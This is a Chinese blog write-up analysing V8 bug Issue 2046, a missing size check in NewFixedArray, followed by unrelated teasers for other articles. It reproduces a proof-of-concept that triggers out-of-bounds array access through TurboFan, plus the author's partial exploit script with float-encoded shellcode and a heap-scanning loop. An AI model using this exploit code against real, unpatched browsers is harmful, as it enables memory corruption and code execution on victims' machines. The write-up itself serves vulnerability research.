Issue 2046:Missing array size check in NewFixedArray

文章目录

  • 环境搭建
  • 漏洞分析
    • 漏洞触发
  • 漏洞利用
  • 总结
  • 参考

环境搭建

sudo apt install pythongit reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

关键 patch 如下:

diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@constexpr uintptr generates 'String::kMaxLength';const kFixedArrayMaxLength:constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+    constexpr int31 generates 'FixedDoubleArray::kMaxLength';const kObjectAlignmentMask: constexpr intptrgenerates 'kObjectAlignmentMask';const kMinAddedElementsCapacity:
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@ConstantIterator(kDoubleHole)));}+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return newFixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};}
@@ -150,6 +157,9 @@macro NewFixedDoubleArray<Iterator: type>(length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedDoubleArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return new FixedDoubleArray{map: kFixedDoubleArrayMap,length: Convert<Smi>(length),

这两个函数的作用就是创建 new FixedArraynew FixedDoubleArray 可以看到主要就是在 NewFixedArray/NewFixedDoubleArray 函数中增加了对 length 边界的检查。

为什么要检查呢?不检查会出现什么问题呢?我们先理论分析一下

  • 其实我们知道对于 fast js array 其大小的有限制的,比如 FixedArray 的大小应该限制在 [0, FixedArray::kMaxLength]
  • 然而 NewFixedArray 这两个函数并没有对数组大小做限制,那么理论上我们可以创建一个大小为 FixedArray::kMaxLength + ? 的数组 arr1
  • 那么如果我们访问 arr[arr1.length],如果是在 turbofan 优化中,这里会认为 arr1.length 的范围为 Range(0, FixedArray::kMaxLength),但实际上 arr1.length 的值却是 FixedArray::kMaxLength + ?
  • 所以理论上这里可以通过该漏洞来使得 trubofan 消除 CheckBounds 节点(但很遗憾,这个版本不能消除 CheckBounds 节点)

NewFixedDoubleArray 同理

漏洞触发

接下来我们得分析下如何去创建上述的 arr1.length = FixedArray::kMaxLength + ? 的数组 arr1

v8 限制了 fixed array 最大的元素个数:

  // Maximally allowed length of a FixedArray.static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;static_assert(Internals::IsValidSmi(kMaxLength),"FixedArray maxLength not a Smi");static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
constexpr int kTaggedSize = kSystemPointerSize;
constexpr int kSystemPointerSize = sizeof(void*);
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
// ⇒ kMaxSize = 128 * 8 * 1024 * 1024 - 8static const size_t kHeaderSize =kSizeOffset + kSizetSize  // size_t size+ kUIntptrSize            // uintptr_t flags_+ kSystemPointerSize      // Bitmap* marking_bitmap_+ kSystemPointerSize      // Heap* heap_+ kSystemPointerSize      // Address area_start_+ kSystemPointerSize;     // Address area_end_
static const intptr_t kSizeOffset = 0;
constexpr int kSizetSize = sizeof(size_t);
constexpr int kUIntptrSize = sizeof(uintptr_t);
typedef unsigned __int64 uintptr_t;
constexpr int kSystemPointerSize = sizeof(void*);
// ⇒ kHeaderSize = 0 + 8 + 8 + 8 + 8 + 8 + 8

最后计算得:kMaxLength = 0x7fffff9

但是这里计算的似乎是不对的?

这里笔者简单写了一个 demo

var arr = Array(100).fill(1);function func(arr) {let x = arr.lengthlet y = x * 5return y + 4;
}for (let i = 0; i < 0x10000; i++) {func(arr);
}

然后在 typer 阶段可以看到其计算的范围是 Range(0, 134217725),所以这里的 kMaxLength = 0x7fffffd ?不懂…
在这里插入图片描述
这里还是得根据 IR 图来,所以这里默认 FixedArray::kMaxLength = 0x0x7fffffd,同样的方式可以知道 NewFixedDoubleArray::kMaxLength = 0x3fffffe。这里我们以 NewFixedDoubleArray 来进行利用,为啥呢?因为浮点数数组写入数据是 64 位的,方便。

这里笔者最开始直接创建一个 0x3fffffe+1 大小的 FixedDoubleArray,但是报错:

Fatal javascript OOM in invalid array length

这里多半就是没有调用到漏洞函数 NewFixedDoubleArray

所以这里并不是直接创建一个大小 FixedDoubleArray::kMaxLength 数组那样简单,这里笔者找到了一篇参考文章,该文章主要分析了作者的 POC

根据作者的 POC,构造大小大于 FixedDoubleArray::kMaxLength 的数组 victim_arr(后面会直接使用这个称号)主要用到了 Array.prototype.concat.apply + Array.prototype.splice 这两个函数。

这里我们简单分析下作者提供的 POC

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
console.log(giant_array.length.toString(16));
// 输出:
// 3ffffff

可以看到 giant_array.length = FixedDoubleArray::kMaxLength + 1,即构造 victim_arr 成功:

  • 先创建了一个大小为 0x40000HOLEY_DOUBLE_ELEMENTS 数组 array
  • 然后创建了一个大小为 0xffHOLEY_ELEMENTS 数组 args
  • 然在向 argspush 一个大小为 0x40000-4HOLEY_DOUBLE_ELEMENTS 数组,此时 args0x100HOLEY_ELEMENTS 数组
  • 然后利用 Array.prototype.concatargs 展开,此时 giant_array 的大小为:0xff * 0x40000 + 0x40000 - 4 = 0x3fffffc
  • 最后在利用 splicegiant_array 末尾添加 3 个 3.3,此时 giant_array 的大小就是 0x3fffffc+3 = 0x3ffffff

当然我们可以看到在调用 splice 前,giant_array 的大小为 0x3fffffc,其是没有超过 FixedDoubleArray::kMaxLength 的,所以这里应该就是在 splice 函数中调用了漏洞函数。所以在 splice 前的这些操作都只是为了让 giant_array 的大小接近 FixedDoubleArray::kMaxLength

那么问题来了,为啥不直接创建一个大小为 0x3fffffcgiant_array ,然后在直接 splice 呢?笔者其实也尝试过,但是报错:

Fatal javascript OOM in Ineffective mark-compacts near heap limit

这是内存错误,即内存溢出了。这个在参考文章中给出了解释:

Not only will this take a bit of time to run, we get an OOM (Out Of Memory) error! The reason this happens is because the allocation of the array doesn’t happen in one go. There are a large amount of calls to AllocateRawFixedArray, each one allocating a slightly larger array. You can see this in GDB by setting a breakpoint at AllocateRawFixedArray and then allocating the array as shown above. I’m not entirely sure why V8 does it this way, but that many allocations causes V8 to very quickly run out of memory

即这里创建大数组时并不是一次性创建的,而是会多次调用 AllocateRawFixedArray,调试也确实如此,而每次调用 AllocateRawFixedArray 分配一个稍大一点的数组。这样的多次分配操作会导致 V8 引擎很快耗尽可用的内存,从而引发内存错误。

但是在参考文章中,作者创建接近 FixedArray::kMaxLength 的数组时是出现了内存溢出错误的。但是在创建接近 FixedDoubleArray::kMaxLength 的数组时是没有报错的,可能环境不一样。但总的来说直接创建一个大数组非常耗时间(你会发现你得等好久)。

然后值得注意的是 concat 存在快速路径和慢速路径:

BUILTIN(ArrayConcat) {
......// Reading @@species happens before anything else with a side effect, so// we can do it here to determine whether to take the fast path.Handle<Object> species;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));if (*species == *isolate->array_function()) {if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {return *result_array;}if (isolate->has_pending_exception())return ReadOnlyRoots(isolate).exception();}return Slow_ArrayConcat(&args, species, isolate);
}

而在快速路径 Fast_ArrayConcat 下存在检查:

MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,BuiltinArguments* args) {
......result_len += Smi::ToInt(array->length());DCHECK_GE(result_len, 0);// Throw an Error if we overflow the FixedArray limitsif (FixedDoubleArray::kMaxLength < result_len ||FixedArray::kMaxLength < result_len) {AllowHeapAllocation gc;THROW_NEW_ERROR(isolate,NewRangeError(MessageTemplate::kInvalidArrayLength),JSArray);}}}return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

可以看到如果 result_len 大于 FixedArray::kMaxLength = 0x0x7fffffd or FixedDoubleArray::kMaxLength = 0x3fffffe 则报错。而我们这里利用的是 FixedDoubleArray ,其中 result_len = 0x3fffffc 所以不需要绕过,而如果使用 FixedArray 进行利用则需要进行绕过。参考作者第一版 POC,绕过很简单,添加一个熟悉即可。

言归正传,还是回到 Array.prototype.splice 函数的调用链,看看其是如何调用到漏洞函数的:

// builtins/array-splice.tq
ArrayPrototypeSplice-> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray

其实没啥好说的,大家跟一下就行了…

漏洞利用

这个漏洞的利用相对比较复杂,所以单独记录一下。

笔者最开始采用了很多方法但是都没啥效果,所以最后还是来分析 POC 吧,

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;function trigger(array) {var x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 30000; ++i) {trigger(giant_array);
}var oob_array = trigger(giant_array)[1];console.log("[+] conrrupted array length : 0x" + oob_array.length.toString(16));
// 输出:
// [+] conrrupted array length : 0x12121212

TyperPahse

对索引 xtype 计算是符号预期的:
在这里插入图片描述
但是数组访问写时,感到很奇怪:
在这里插入图片描述
可以看到这里存在一个 MaybeGrowFastElements 节点,并且这里 CheckBounds 检查的范围是 [1024, 0x7fffffd+1024] = [1024, FixedArray::kMaxLength+1024]

这里笔者自己尝试了很多方法都没有构造出 MaybeGrowFastElements 节点

暂时搁置 todo

有点难搞

尝试写了下 exp,但是存在问题:

const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}let l2d = (val) => {l_buf[0] = val;return d_buf[0];
};let d2l = (val) => {d_buf[0] = val;return l_buf[0];
};let hexx = (str, val) => {log(str+": 0x"+val.toString(16));
};function shellcode() {return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,1.986669612134628e-246,  1.9712777999056378e-246, 1.9570673233493564e-246,1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();for (let i = 0; i < 0x80000; i++) {shellcode(); shellcode();shellcode(); shellcode();
}var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;
var map_len;function trigger(array) {let x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 0x8000; ++i) {trigger(giant_array);
}/*
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
trigger(giant_array);
*/var [x_arr, oob_arr] = trigger(giant_array);
console.log("[+] conrrupted arr length : 0x" + oob_arr.length.toString(16));//var arb_rw_heap_arr = [0x6f56, 0x6f56, shellcode];/*0x00002c5f00000000 0x00002c5f0000c000 0x0000000000000000 rw-
0x00002c5f00040000 0x00002c5f00041000 0x0000000000000000 rw-
0x00002c5f00080000 0x00002c5f00081000 0x0000000000000000 rw-
0x00002c5f000c0000 0x00002c5f000c1000 0x0000000000000000 rw-
0x00002c5f00100000 0x00002c5f00101000 0x0000000000000000 rw-
0x00002c5f00140000 0x00002c5f00141000 0x0000000000000000 rw-
0x00002c5f08080000 0x00002c5f0818d000 0x0000000000000000 rw-
0x00002c5f081c0000 0x00002c5f081c1000 0x0000000000000000 rw-
0x00002c5f08200000 0x00002c5f083e1000 0x0000000000000000 rw-
0x00002c5f08500000 0x00002c5f08701000 0x0000000000000000 rw-
0x00002c5f08740000 0x00002c5f08940000 0x0000000000000000 rw-
0x00002c5f08a80000 0x00002c5f09081000 0x0000000000000000 rw-
0x00002c5f090c0000 0x00002c5f290c1000 0x0000000000000000 rw-
0x00002c5f29100000 0x00002c5f59101000 0x0000000000000000 rw-
0x00002c5f59140000 0x00002c5f59940000 0x0000000000000000 rw-
*//*
let all = [[0,0xc000], [0x40000,0x41000], [0x80000, 0x81000],[0xc0000,0xc1000], [0x100000,0x101000], [0x140000,0x141000],[0x8080000,0x818d000],[0x81c0000,0x81c1000],[0x8200000,0x83e1000],[0x8500000,0x8701000],[0x8740000,0x8940000],[0x8a80000,0x9081000],[0x90c0000,0x90c1000],[0x9100000,0x9101000],[0x9140000,0x9940000]];
*/let all = [[0x596a6000, 0x596e7000]];
var arb_rw_heap_arr = [0x6f54, 0x6f54, oob_arr];%DebugPrint(arb_rw_heap_arr);let flag = true;
for (let i = 0; i < all.length && flag; i++) {let range = all[i];
//      print("range: ", range);for (let l = range[0] / 8; l < (range[1] / 8 - 1); l++) {if (l > oob_arr.length) {log("Error: failed oob read key data");flag = false;break;}let val = d2l(oob_arr[l]);if (val == 0xdea80000dea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");//flag = false;} else if ((val&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");} else if (((val>>32n)&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");}}
}%DebugPrint(arb_rw_heap_arr);//%SystemBreak();

总结

这里的漏洞触发源码还没有搞清楚。然后就是对于写 exp 部分,由于存在指针压缩,所以当篡改相邻浮点数组对象的 length 属性时,会将其 element 一些篡改。所以这里我们只能将 element 修改为 1,然后从头开始遍历堆,从而区寻找目标对象。

但是这里存在两个问题:

  • 由于存在 guard 内存,所以我们得选择一些地址进行编译。
  • 程序在执行过程中会进行垃圾回收,这会使得之前确定的目标偏移失效。

参考

SIMPLE BUGS WITH COMPLEX EXPLOITS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/753118.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

备战蓝桥杯Day29 - 贪心-活动选择问题

问题描述 假设有n个活动&#xff0c;这些活动要占用同一片场地&#xff0c;而场地在某时刻只能供一个活动使用。 每个活动都有一个开始时间 si 和结束时间 fi (题目中时间以整数表示) ,表示活动在[si, f)区间占用场地。 问:安排哪些活动能够使该场地举办的活动的个数最多? 解…

FDA: 用于语义分割的傅里叶域自适应

论文链接&#xff1a;https://arxiv.org/abs/2004.05498 代码链接&#xff1a;GitHub - YanchaoYang/FDA: Fourier Domain Adaptation for Semantic Segmentation 机构&#xff1a;UCLA 发表于2020CVPR 这篇文章别的地方略读了&#xff0c;主要看看方法&#xff0c;感兴趣自…

【C语言】命令行参数;终止程序

终端命令行参数 On many systems, it is possible to pass arguments to main from a command line by including parameters int argc and char argv[] in the parameter list of main. Parameter argc receives the number of command-line arguments. Parameter argv is an …

如何理解“高频信息/高级语义”和“低频信息/低级语义”?

如何区分高频信息和低频信息&#xff1f; 如果一个东西是高度离散化和语义化的&#xff0c;一个字的差异也可能导致词语之间的含义发生重大变化&#xff0c;就是高频东西。例如一句话&#xff0c;如果你改变了一个单词&#xff0c;这个句子就会变成其他的意思。还有就是经过en…

部署高斯喷射项目gaussian-splatting

硬件要求 支持 CUDA 的 GPU&#xff0c;具有 7.0 的计算能力24 GB VRAM 软件要求 Conda用于 PyTorch 扩展的 C 编译器&#xff08;Visual Studio 2019&#xff09; CUDA SDK 11 for PyTorch 扩展&#xff0c;在 Visual Studio 之后安装C 编译器和 CUDA SDK 必须兼容 拉取源码 …

Poly Kernel Inception Network在遥感检测中的应用

摘要 https://export.arxiv.org/pdf/2403.06258 遥感图像&#xff08;RSI&#xff09;中的目标检测经常面临一些日益严重的挑战&#xff0c;包括目标尺度的巨大变化和多样的上下文环境。先前的方法试图通过扩大骨干网络的空间感受野来解决这些挑战&#xff0c;要么通过大核卷积…

.Net使用ElasticSearch

文章目录 前言主体内容一.Kibana中ElasticSearch的基础操作1.GET&#xff08;查询&#xff09;1.POST&#xff08;新增&#xff09;1.PUT&#xff08;修改&#xff09;1.DELET&#xff08;删除&#xff09; 二.在.Net中&#xff0c;对ElasticSearch进行基础操作1.DotNet连接Ela…

低代码与AI:构建面向未来的智能化应用

引言 在当今数字时代&#xff0c;技术的快速发展为各行各业带来了前所未有的机遇和挑战。企业和组织面临着如何迅速开发和交付高质量应用的需求&#xff0c;同时还需要应对日益复杂的业务需求和用户期望。在这样的背景下&#xff0c;低代码与人工智能&#xff08;AI&#xff0…

输送带的制造工艺

输送带的制造工艺 一、引言 输送带作为现代工业生产中不可或缺的物料运输工具&#xff0c;广泛应用于矿山、冶金、化工、电力、港口、粮食等各个行业。随着科技的发展&#xff0c;输送带的制造工艺也在不断进步&#xff0c;以满足日益增长的生产需求和运输效率。本文将详细介…

Python每日三道经典面试题(十三)

1.Python中的unittest是什么&#xff1f; unittest是Python内置的一个测试框架&#xff0c;也是Python标准库的一部分。它被设计用于支持自动化测试&#xff0c;包括单元测试、集成测试以及一些系统测试。unittest提供了丰富的测试构建、测试用例组织和测试运行功能&#xff0…

蓝桥杯可撤销并查集|查找|合并|撤销(C++)

前置知识 蓝桥杯并查集|路径压缩|合并优化|按秩合并|合根植物(C)-CSDN博客 可撤销并查集 关键注意 可撤销并查集的撤销功能如何实现可撤销并查集能不能用路径压缩 可撤销并查集(Reversible Union-Find)是一种扩展了标准并查集(Union-Find)数据结构的数据结构&#xff0c;它允…

高中数学:指数、对数、幂函数综合(拔高)

一、需要掌握的重要函数 1、第一组&#xff08;记住&#xff09; 例题 1、判断奇偶性 2、代值定象限 2、第二组&#xff08;记住&#xff09; 以下几个函数都是奇函数 3、常用知识点 1、找对称中心或对称轴 上加下减&#xff0c;左加右减 2、奇偶函数组合后的奇偶性 …

Excel数字签名技术总结

Excel数字签名 Excel数字签名【商业化】产品对比&#xff1a; Excel数字签名产品对比冰蓝科技GroupDocsconholdatemesciusaspose官网冰蓝科技 e-iceblue &#xff5c; 您的办公文档开发技术专家 &#xff5c; C#/VB.Net Excel, Word, PowerPoint, PDF, Barcode 组件Document …

京东获得JD商品详情 API

公共参数 名称类型必须描述keyString是免费申请调用key&#xff08;必须以GET方式拼接在URL中&#xff09;secretString是调用密钥api_nameString是API接口名称&#xff08;包括在请求地址中&#xff09;[item_search,item_get,item_search_shop等]cacheString否[yes,no]默认y…

python基础——对序列的通用操作【+和*以及in 和 切片操作】

&#x1f4dd;前言&#xff1a; 我们已经学习了python数据容器中的列表&#xff0c;元组以及字符串。而他们都属于序列 &#xff08;序列是指&#xff1a;内容连续&#xff0c;有序&#xff0c;可以用下标索引访问的数据容器&#xff09; 在之前已经介绍了不少操作方法&#xf…

一文解读ISO26262安全标准:初步危害分析PHA

一文解读ISO26262安全标准&#xff1a;初步危害分析PHA 1 PHA的意义2 如何进行PHA&#xff1f; PHA是Preliminary Hazard Analysis的简称。 UE是undesired event的简称。 1 PHA的意义 PHA活动要在项目开发的前期完成&#xff0c;主要目标是识别功能性 UE &#xff0c;并对其进…

中高级前端工程师都需要熟悉的技能--前端缓存

前言 web缓存是高级前端工程师必修技能。是我们变成大牛过程中绕不开的知识点。 文章会尽量用通俗易懂的言语来细说web缓存的概念和用处。 本期文章的大纲是 什么是web缓存&#xff08;前端缓存&#xff09; 缓存可以解决什么问题&#xff1f;他的缺点是什么&#xff1f; …

Spring MVC接收param参数(直接接收、注解接收、集合接收、实体接收)

1. 直接接值 只要形参数名和类型与传递参数相同&#xff0c;即可自动接收! Controller RequestMapping("param") public class ParamController {/*** 前端请求: http://localhost:8080/param/value?namexx&age18** 可以利用形参列表,直接接收前端传递的param…

Vue3-安装

Vue.js 是什么? Vue 是一套用于构建用户界面的渐进式框架. 与其他大型框架不同的是, Vue 被设计为可以自底向上逐层应用. Vue 的核心库只关注视图层, 不仅容易上手, 还便于与第三方库或既有项目整合. 另一方面, 当与现代化的工具链以及各种支持类库结合使用时, Vue 也完全能够…

数据结构 之 七大排序 (持续更新ing...)

下面算法编写的均是按照由小到大顺序进行排序版本 选择排序 思想&#xff1a; 每次遍历待排序元素的最大下标&#xff0c;与待排序元素中最后一个元素交换位置&#xff08;此时需要设置一个临时变量来存放下标&#xff09; 时间复杂度--O(n^2)空间复杂度--O(1)稳定性--不稳定 代…